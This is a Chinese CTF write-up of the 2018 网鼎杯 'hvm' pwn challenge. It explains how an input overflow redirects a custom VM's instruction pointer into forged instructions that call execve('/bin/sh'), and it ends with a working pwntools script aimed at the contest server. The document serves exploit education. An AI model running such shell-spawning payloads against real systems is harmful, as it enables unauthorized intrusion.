2018 网鼎杯预选赛第二场 hvm

前言

同学参赛给的题,侥幸做出来两道hvm和easpfmt。
hvm是一道虚拟机题。正好我上学期期末设计做的是一款虚拟机软件。。虽然没开发完全还是懂一些。

题目保护


除了got表可写全保护。

题目流程

题目先随机mmap了一片内存用作之后保存虚拟机参数使用。
之后读取hvmbin的内容到刚才的地址。
之后进入简单的虚拟机解释循环。
通过运行程序,它的功能为输出hello,要求我们输入。输出bye

读取的指令并不长我们可以单步追踪。发现它是通过syscall系统调用实现输入输出功能。将虚拟机寄存器保存为现实寄存器。

漏洞利用

我们重点关注输入的部分,唯一一次输入的机会。

发现我们可以输入0xf0的字节。经过内存的查看。下面有一些可疑的参数

直接输入0xf0个a尝试一下。会发现之后的虚拟机解释引擎的EIP使用一个计算被改变。计算为(0x65656565+3)<<2

即我们可以修改它的虚拟机EIP指向我们的输入。加0xfffffffffffff000可以使EIP指向我们输入的伪造虚拟机指令。
覆盖偏移0x38为0xFdFbFfff即可。
通过对它构造参数的过程进行分析,得到如下结果
1->rax
4->rdx
构造rax为59,rdi指向binsh,rsi为0,rdx为0。
剩下rsi,rdi。通过对它27条指令的分析我们可以找到对rsi直接赋值的指令。
难点在于如何修改rdi指向bin/sh。
通过调试我们发现rsi会指向我们输入中的一个偏移。
且通过对27条指令的分析可以得到,存在两条指令,第一条可以将rsi赋值给一个中间变量。第二条可以将中间变量赋值给rdi。分别使26和0xd。
现在就可以实现构造rax为59,rdi指向binsh,rsi为0,rdx为0。
调用它虚拟机指令中的那条syscall(0xe)。完成利用。

脚本

from pwn import *
p=remote('117.50.4.173',10315)
context(log_level='debug')

p.recvuntil('hello')
zz=raw_input()

payload='/bin/sh'+chr(0)+'a'*0x28+p32(0)+p32(0xFdFbFfff)+'/bin/sh'+chr(0)+p32(1)+p32(0x3b000000)+p32(4)+p32(0)+p32(0xd)+p32(26)+p32(0)+p32(0xe)
p.sendline(payload)


p.interactive()

总结

第二场预选赛一共做出3道pwn。。帮同学。感觉难度不如第一场的。除了hvm其他两道难度。。有点太差